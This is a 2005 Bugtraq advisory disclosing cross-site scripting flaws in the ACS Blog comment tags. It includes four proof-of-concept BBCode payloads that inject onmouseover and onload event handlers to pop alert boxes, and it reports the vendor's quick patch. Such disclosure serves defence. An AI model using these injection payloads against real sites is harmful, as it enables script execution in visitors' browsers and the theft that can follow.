Multiple XSS vulnerabilities in ACS Blog

From: Dan Crowley (dan.crowley_at_gmail.com)
Date: 03/29/05

  • Next message: Tarmo Mamers: "Re: DoS of LAN via D-Link switches" 
    Date: Mon, 28 Mar 2005 18:15:34 -0500
To: bugtraq@securityfocus.com

    These vulnerabilities have been tested on the latest version of ACS
    Blog. (v1.1.1)

    In the comments section of ACS Blog, it is possible to execute an XSS
    attack through the [link], [mail], and [img] tags, due to lack of
    filtering of single quotes and spaces inside the tags.

    Examples/PoCs:

    [link=http://www.google.com' onmouseover='alert("XSS vulnerability")'
    o=']Don't you wanna see where this link goes?[/link]

    [mail=bugtraq@securityfocus.com' onmouseover='alert("XSS
    vulnerability")' o=']Mr. Wiggles[/mail]

    [img]http://www.example.com/image.jpg' onload='alert("XSS
    vulnerability")' o='[/img]

    [link=http://www.google.com target=_blank'
    onmouseover=a=/Vulnerability/;alert(a.source) o=']Hooray[/link]

    ----------
    Vendor responded within 2 hours of notification, notified users with
    the security alert on its main page, and patched the vulnerabilities
    within another couple of hours.
    ----------

    Cheers,
    Dan

  • Next message: Tarmo Mamers: "Re: DoS of LAN via D-Link switches"